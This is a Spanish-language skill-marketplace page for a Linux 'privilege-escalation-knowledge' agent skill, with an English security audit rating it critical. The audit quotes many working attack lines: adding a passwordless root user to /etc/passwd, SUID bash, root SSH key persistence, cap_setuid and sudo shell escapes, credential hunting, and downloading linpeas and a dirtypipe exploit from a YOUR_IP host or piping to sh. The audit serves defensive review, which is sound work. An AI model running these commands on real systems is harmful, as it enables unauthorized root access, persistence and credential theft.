Habilidades privilege-escalation-knowledge
📦
privilege-escalation-knowledge
Revisión del contenido r1 Crítico ⚙️ Comandos externos🌐 Acceso a red📁 Acceso al sistema de archivos
Auditar rutas de escalada de privilegios en Linux
Las revisiones de escalada de privilegios en Linux requieren una enumeración cuidadosa y una autorización estricta. Esta habilidad organiza comprobaciones comunes, vectores de riesgo y captura de evidencia para laboratorios controlados y auditorías defensivas.
Compatible con: Claude Codex Code(CC)
No instales este Skill automáticamente.
La política canónica exige la revisión de un operador antes de cualquier acción de instalación.
Instalar con mi Agente
Copia esta solicitud en tu Agente. Incluye la página canónica del Skill y el manifiesto.
Solicitud de agente
Review the Skillstore skill "privilege-escalation-knowledge" from https://skillstore.io/skills/charleskozel-privilege-escalation-knowledge.md and its manifest at https://skillstore.io/api/skills/charleskozel-privilege-escalation-knowledge/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Tu Agente debe seguir mostrando su plan y solicitar cualquier confirmación exigida por la política de seguridad.
Recursos legibles por agentes
Usa estos enlaces cuando un agente de IA, crawler o script necesite contexto limpio en vez de leer la página completa.
Pruébalo
Usando "privilege-escalation-knowledge". Resume esta habilidad para un responsable de seguridad.
Resultado esperado:
Esta habilidad organiza comprobaciones de escalada de privilegios en Linux para laboratorios autorizados. Cubre puntos débiles comunes, evidencia sensible y necesidades de informes.
Usando "privilege-escalation-knowledge". Crea una lista de comprobación defensiva a partir de la habilidad.
Resultado esperado:
- Revisar las reglas de sudo en busca de comandos elevados innecesarios.
- Eliminar binarios SUID inesperados y capabilities riesgosas.
- Restringir archivos sensibles, historiales, claves y definiciones de servicios.
Usando "privilege-escalation-knowledge". Redacta un informe posterior de laboratorio sin comandos de explotación.
Resultado esperado:
El informe debe indicar el control fallido, el impacto empresarial, la fuente de evidencia y el responsable de remediación. Debe omitir pasos de explotación ejecutables.
Auditoría de seguridad
Críticov10 • 9/7/2026 Abrir el informe versionado
The skill is an explicit Linux privilege escalation playbook that instructs enumeration, exploitation, root persistence, and flag capture. Confirmed findings include sudo abuse, SUID abuse, capabilities, Docker socket access, credential discovery, and sensitive file modification. Several Markdown fence and read-only enumeration detections are false positives for their exact pattern.
1
Archivos escaneados
552
Líneas analizadas
126
Elementos de revisión
0
Falsos positivos ignorados
Preocupaciones de seguridad confirmadas (38)
Crítico
SSH directory access
echo 'YOUR_PUBLIC_KEY' >> /root/.ssh/authorized_keys
The command targets SSH keys or root authorized_keys. This can expose credentials or establish persistent root access.
Crítico
SSH directory access
chmod 600 /root/.ssh/authorized_keys
The command targets SSH keys or root authorized_keys. This can expose credentials or establish persistent root access.
Crítico
SSH private key file
find / -name id_rsa 2>/dev/null
The command targets SSH keys or root authorized_keys. This can expose credentials or establish persistent root access.
Crítico
System password file access
### 4. Writable /etc/passwd
The section checks or modifies system password files to create root-equivalent access. That is a critical account compromise technique.
Crítico
System password file access
# Check if /etc/passwd is writable
The section checks or modifies system password files to create root-equivalent access. That is a critical account compromise technique.
Crítico
System password file access
ls -la /etc/passwd
The section checks or modifies system password files to create root-equivalent access. That is a critical account compromise technique.
Crítico
System password file access
echo 'hacker:$6$salt$hashedpassword:0:0:root:/root:/bin/bash' >> /etc/passwd
The section checks or modifies system password files to create root-equivalent access. That is a critical account compromise technique.
Crítico
System password file access
echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd
The section checks or modifies system password files to create root-equivalent access. That is a critical account compromise technique.
Mostrar los 38 problemas confirmados
Crítico
System password file access
ls -la /etc/shadow /etc/passwd
The section checks or modifies system password files to create root-equivalent access. That is a critical account compromise technique.
Crítico
SUID bit modification
echo '#!/bin/bash\nchmod +s /bin/bash' > /path/to/script.sh
The command sets the SUID bit on a shell or script path. That can create persistent root-capable execution.
Crítico
SUID bit modification
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
The command sets the SUID bit on a shell or script path. That can create persistent root-capable execution.
Crítico
SUID bit modification
chmod +s /tmp/mount/bash
The command sets the SUID bit on a shell or script path. That can create persistent root-capable execution.
Crítico
SUID bit modification
chmod +s /bin/bash
The command sets the SUID bit on a shell or script path. That can create persistent root-capable execution.
Crítico
Pipe to shell pattern
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
The command downloads a remote script and pipes it directly to a shell. That is unsafe remote code execution and tool execution guidance.
Crítico
Docker socket access
# If found /var/run/docker.sock
The Docker socket guidance leads to host filesystem mounting and chroot access. That is a container escape path to host-level control.
Crítico
End-to-End Root Compromise Workflow
The skill states that its purpose is escalating low-privileged users to root and capturing root flags, then defines exploitation and success criteria.
The purpose, core strategy, and success criteria all explicitly center on root access and flag capture. This is clear malicious-capability context, even if used in a lab.
Crítico
Post-Exploitation Persistence Guidance
The skill instructs users to maintain root access after compromise through SUID modification or root SSH authorization changes.
The section explicitly says to maintain access after root compromise and lists persistence mechanisms. This is direct post-exploitation guidance.
Alto
SSH host/auth files
find / -name authorized_keys 2>/dev/null
The command targets SSH keys or root authorized_keys. This can expose credentials or establish persistent root access.
Alto
SSH host/auth files
echo 'YOUR_PUBLIC_KEY' >> /root/.ssh/authorized_keys
The command targets SSH keys or root authorized_keys. This can expose credentials or establish persistent root access.
Alto
SSH host/auth files
chmod 600 /root/.ssh/authorized_keys
The command targets SSH keys or root authorized_keys. This can expose credentials or establish persistent root access.
Alto
Malware type keywords
│ ├─ Writable script run as root? → Backdoor → Wait → Root
The decision tree explicitly describes adding a backdoor through a root-run writable script. This is persistence and compromise guidance.
Alto
UID/GID manipulation
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/sh")'
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
Alto
UID/GID manipulation
/usr/bin/vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
Alto
UID/GID manipulation
# - cap_setuid+ep on python/perl/ruby
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
Alto
UID/GID manipulation
# Python with cap_setuid
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
Alto
UID/GID manipulation
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
Alto
UID/GID manipulation
# Perl with cap_setuid
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
Alto
UID/GID manipulation
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
Alto
UID/GID manipulation
│ ├─ cap_setuid on python/perl? → Exploit → Root
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
Alto
Sensitive Data Capture Objective
The skill requires locating, reading, validating, storing, and reporting root flags after privilege escalation.
The root flag capture and state update workflow is explicit. It is lab framed, but it still directs collection and recording of privileged data.
Bajo
System reconnaissance
6. **Verification**: Confirm root access with `id`, `whoami`
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
Bajo
System reconnaissance
id
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
Bajo
System reconnaissance
# Python with cap_setuid
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
Bajo
System reconnaissance
# Perl with cap_setuid
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
Bajo
System reconnaissance
uname -a
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
Bajo
System reconnaissance
id
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
Bajo
System reconnaissance
│ ├─ cap_setuid on python/perl? → Exploit → Root
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
Bajo
System reconnaissance
# whoami
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
Elementos de revisión de capacidades (126)
Estas son capacidades locales reales que pueden esperarse para esta habilidad, por lo que requieren revisión, pero no se cuentan como comportamiento malicioso confirmado.
Crítico
Python PTY spawn (shell access)
# - python: sudo python -c 'import pty;pty.spawn("/bin/bash")'
The line documents spawning an interactive root shell through sudo Python. That is direct shell access guidance for privilege escalation.
Alto
Process spawn
# - python: sudo python -c 'import pty;pty.spawn("/bin/bash")'
The line demonstrates spawning an interactive shell from an elevated interpreter. That can give an agent or user root shell access.
Alto
Python os.system
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/sh")'
The command sets UID to root and launches a shell through Python or Vim. This is direct privilege escalation execution guidance.
Alto
Python os.system
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The command sets UID to root and launches a shell through Python or Vim. This is direct privilege escalation execution guidance.
Alto
Python os.exec variants
/usr/bin/vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
The command sets UID to root and launches a shell through Python or Vim. This is direct privilege escalation execution guidance.
Alto
Ruby/PHP system() call
# - awk: sudo awk 'BEGIN {system("/bin/sh")}'
The line shows system-level shell invocation from an elevated interpreter. In this context it is used to obtain a root shell.
Alto
Ruby/PHP system() call
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/sh")'
The line shows system-level shell invocation from an elevated interpreter. In this context it is used to obtain a root shell.
Alto
Ruby/PHP system() call
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The line shows system-level shell invocation from an elevated interpreter. In this context it is used to obtain a root shell.
Alto
sudo privilege escalation
description: Comprehensive knowledge about Linux privilege escalation. Provides methodologies for en
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
- Focus: sudo -l, SUID, obvious misconfigurations
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
- `sudo -l` - Check sudo permissions
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
- GTFOBins (https://gtfobins.github.io/) - SUID/sudo exploitation
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
# 2. Check sudo permissions (most common vector)
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
sudo -l
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
sudo -l
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
# - vim: sudo vim -c ':!/bin/sh'
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
# - nano: sudo nano, then Ctrl+R Ctrl+X, type: reset; sh 1>&0 2>&0
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
# - less: sudo less /etc/profile, then !sh
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
# - man: sudo man man, then !sh
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
# - find: sudo find . -exec /bin/sh \; -quit
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
# - awk: sudo awk 'BEGIN {system("/bin/sh")}'
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
# - perl: sudo perl -e 'exec "/bin/sh";'
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
# - python: sudo python -c 'import pty;pty.spawn("/bin/bash")'
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
# - git: sudo git -p help config, then !sh
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
# 1. Identify binary you can sudo
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
sudo -l
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
sudo vim
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
"vector": "sudo -l showed vim with NOPASSWD",
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
├─ Run: sudo -l
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
│ ├─ Can sudo something? → GTFOBins → Root
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
│ └─ No sudo → Continue
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
2. **Quick wins first** - sudo before kernel exploits
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
sudo privilege escalation
3. **GTFOBins is your friend** - Use it for SUID/sudo
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Alto
Hidden file in home directory
cat ~/.bash_history
The command reads shell history or writes root SSH configuration. Those paths can expose secrets or create persistent privileged access.
Alto
Linux /proc filesystem access
cat /proc/1/cgroup | grep docker
The command reads process and container metadata from /proc to determine escape opportunities. This is reconnaissance for privilege escalation.
Alto
Non-standard device file access
# Or /dev/shm
The guidance uses /dev/shm as a writable staging area when normal paths are unavailable. That supports tool staging during exploitation.
Alto
Non-standard device file access
cd /dev/shm
The guidance uses /dev/shm as a writable staging area when normal paths are unavailable. That supports tool staging during exploitation.
Medio
Ruby/shell backtick execution
6. **Verification**: Confirm root access with `id`, `whoami`
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
- `linpeas.sh` - Comprehensive automated enumeration
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
- `linenum.sh` - Alternative enumeration script
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
- `pspy` - Monitor processes without root
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
- `sudo -l` - Check sudo permissions
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
- `find / -perm -4000 2>/dev/null` - Find SUID binaries
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
- `getcap -r / 2>/dev/null` - Find capabilities
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
- `crontab -l` - Check user cron jobs
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
- `cat /etc/crontab` - Check system cron jobs
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Medio
Shell command substitution
searchsploit "linux kernel $(uname -r)"
The command substitution is part of operational exploit search or privileged data capture. It can execute local commands while advancing the escalation workflow.
Medio
Shell command substitution
ROOT_FLAG=$(cat /root/root.txt)
The command substitution is part of operational exploit search or privileged data capture. It can execute local commands while advancing the escalation workflow.
Medio
Template literal with command substitution
```bash
The command substitution is part of operational exploit search or privileged data capture. It can execute local commands while advancing the escalation workflow.
Medio
Template literal with command substitution
```bash
The command substitution is part of operational exploit search or privileged data capture. It can execute local commands while advancing the escalation workflow.
Medio
Unix shell invocation
# - vim: sudo vim -c ':!/bin/sh'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Medio
Unix shell invocation
# - find: sudo find . -exec /bin/sh \; -quit
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Medio
Unix shell invocation
# - awk: sudo awk 'BEGIN {system("/bin/sh")}'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Medio
Unix shell invocation
# - perl: sudo perl -e 'exec "/bin/sh";'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Medio
Unix shell invocation
# - python: sudo python -c 'import pty;pty.spawn("/bin/bash")'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Medio
Unix shell invocation
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/sh")'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Medio
Unix shell invocation
/usr/bin/vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Medio
Unix shell invocation
/usr/bin/find . -exec /bin/sh -p \; -quit
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Medio
Unix shell invocation
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Medio
Unix shell invocation
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Medio
Unix shell invocation
echo 'hacker:$6$salt$hashedpassword:0:0:root:/root:/bin/bash' >> /etc/passwd
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Medio
Unix shell invocation
echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Medio
Unix shell invocation
echo '#!/bin/bash\nchmod +s /bin/bash' > /path/to/script.sh
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Medio
Unix shell invocation
/bin/bash -p
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Medio
Unix shell invocation
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Medio
Unix shell invocation
/bin/bash -p
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Medio
Unix shell invocation
cp /bin/bash /tmp/mount/bash
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Medio
Unix shell invocation
:set shell=/bin/bash
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Medio
Unix shell invocation
chmod +s /bin/bash
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Medio
xargs command (can execute arbitrary commands)
find / -name "*.config" -o -name "*.conf" 2>/dev/null | xargs grep -i "password"
The xargs pipeline searches configuration files for passwords across the filesystem. It can expose secrets and process many attacker-controlled paths.
Medio
Hidden file access
ls -la /.dockerenv
The command reads shell history or writes root SSH configuration. Those paths can expose secrets or create persistent privileged access.
Medio
Hidden file access
cat ~/.bash_history
The command reads shell history or writes root SSH configuration. Those paths can expose secrets or create persistent privileged access.
Medio
Hidden file access
cat /home/*/.bash_history 2>/dev/null
The command reads shell history or writes root SSH configuration. Those paths can expose secrets or create persistent privileged access.
Medio
Hidden file access
mkdir -p /root/.ssh
The command reads shell history or writes root SSH configuration. Those paths can expose secrets or create persistent privileged access.
Medio
Hidden file access
echo 'YOUR_PUBLIC_KEY' >> /root/.ssh/authorized_keys
The command reads shell history or writes root SSH configuration. Those paths can expose secrets or create persistent privileged access.
Medio
Hidden file access
chmod 600 /root/.ssh/authorized_keys
The command reads shell history or writes root SSH configuration. Those paths can expose secrets or create persistent privileged access.
Medio
Temp directory access
mkdir /tmp/mount
The command stages or mounts files under /tmp as part of NFS-based privilege escalation. It can help create a SUID shell.
Medio
Temp directory access
mount -t nfs TARGET:/share /tmp/mount
The command stages or mounts files under /tmp as part of NFS-based privilege escalation. It can help create a SUID shell.
Medio
Temp directory access
cp /bin/bash /tmp/mount/bash
The command stages or mounts files under /tmp as part of NFS-based privilege escalation. It can help create a SUID shell.
Medio
Temp directory access
chmod +s /tmp/mount/bash
The command stages or mounts files under /tmp as part of NFS-based privilege escalation. It can help create a SUID shell.
Bajo
Hardcoded URL
- GTFOBins (https://gtfobins.github.io/) - SUID/sudo exploitation
The URL points readers to exploitation references for SUID and sudo abuse. It supports offensive privilege escalation guidance.
Bajo
Hardcoded URL
wget http://YOUR_IP:8000/linpeas.sh
The URL placeholder supports downloading enumeration tooling from an attacker-controlled host. This creates unsafe tool transfer behavior.
Bajo
Hardcoded URL
curl http://YOUR_IP:8000/linpeas.sh -o linpeas.sh
The URL placeholder supports downloading enumeration tooling from an attacker-controlled host. This creates unsafe tool transfer behavior.
Bajo
Hardcoded URL
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
The URL is used in a pipe-to-shell command that runs an external enumeration script. This is unsafe remote code execution guidance.
Bajo
Hardcoded URL
wget http://YOUR_IP:8000/dirtypipe.c
The URL is used to download kernel exploit source code before compiling and running it. That is high-risk offensive tooling guidance.
Bajo
Standard device file access
- `find / -perm -4000 2>/dev/null` - Find SUID binaries
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Bajo
Standard device file access
- `getcap -r / 2>/dev/null` - Find capabilities
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Bajo
Standard device file access
find / -perm -4000 -type f 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Bajo
Standard device file access
find /etc -writable -type f 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Bajo
Standard device file access
getcap -r / 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Bajo
Standard device file access
find / -perm -4000 -type f 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Bajo
Standard device file access
getcap -r / 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Bajo
Standard device file access
find /etc/systemd/system/ -writable 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Bajo
Standard device file access
find / -name docker.sock 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Bajo
Standard device file access
grep -r "password" /var/www/html/ 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Bajo
Standard device file access
grep -r "pass" /etc/ 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Bajo
Standard device file access
find / -name "*.config" -o -name "*.conf" 2>/dev/null | xargs grep -i "password"
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Bajo
Standard device file access
cat /home/*/.bash_history 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Bajo
Standard device file access
find / -name id_rsa 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Bajo
Standard device file access
find / -name authorized_keys 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Bajo
Standard device file access
find /root -name "*.txt" 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Bajo
Standard device file access
find / -name "root.txt" 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Bajo
Standard device file access
find / -perm -002 -type f 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Bajo
Standard device file access
find / -name "*.bak" -o -name "*.backup" 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Factores de riesgo
⚙️ Comandos externos (50)
